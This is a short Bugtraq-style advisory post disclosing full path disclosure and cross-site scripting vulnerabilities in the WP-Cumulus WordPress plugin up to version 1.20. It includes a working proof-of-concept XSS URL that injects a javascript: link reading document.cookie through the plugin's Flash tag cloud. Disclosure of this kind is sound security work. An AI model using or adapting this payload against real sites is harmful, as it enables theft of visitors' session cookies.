Hello Bugtraq! I want to warn you about security vulnerabilities in plugin WP-Cumulus for WordPress. These are Full path disclosure and Cross-Site Scripting vulnerabilities. Full path disclosure: http://site/wp-content/plugins/wp-cumulus/wp-cumulus.php XSS: http://site/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagclou d=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-si ze:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E Code will execute after click. It's strictly social XSS. Vulnerable are WP-Cumulus 1.20 and previous versions. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/3665/). P.S. This is one of that 20 plugins for WordPress where I found 135 different vulnerabilities (during 2006-2009), which I wrote about in my summary of vulnerabilities in plugins for WordPress (http://websecurity.com.ua/3397/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
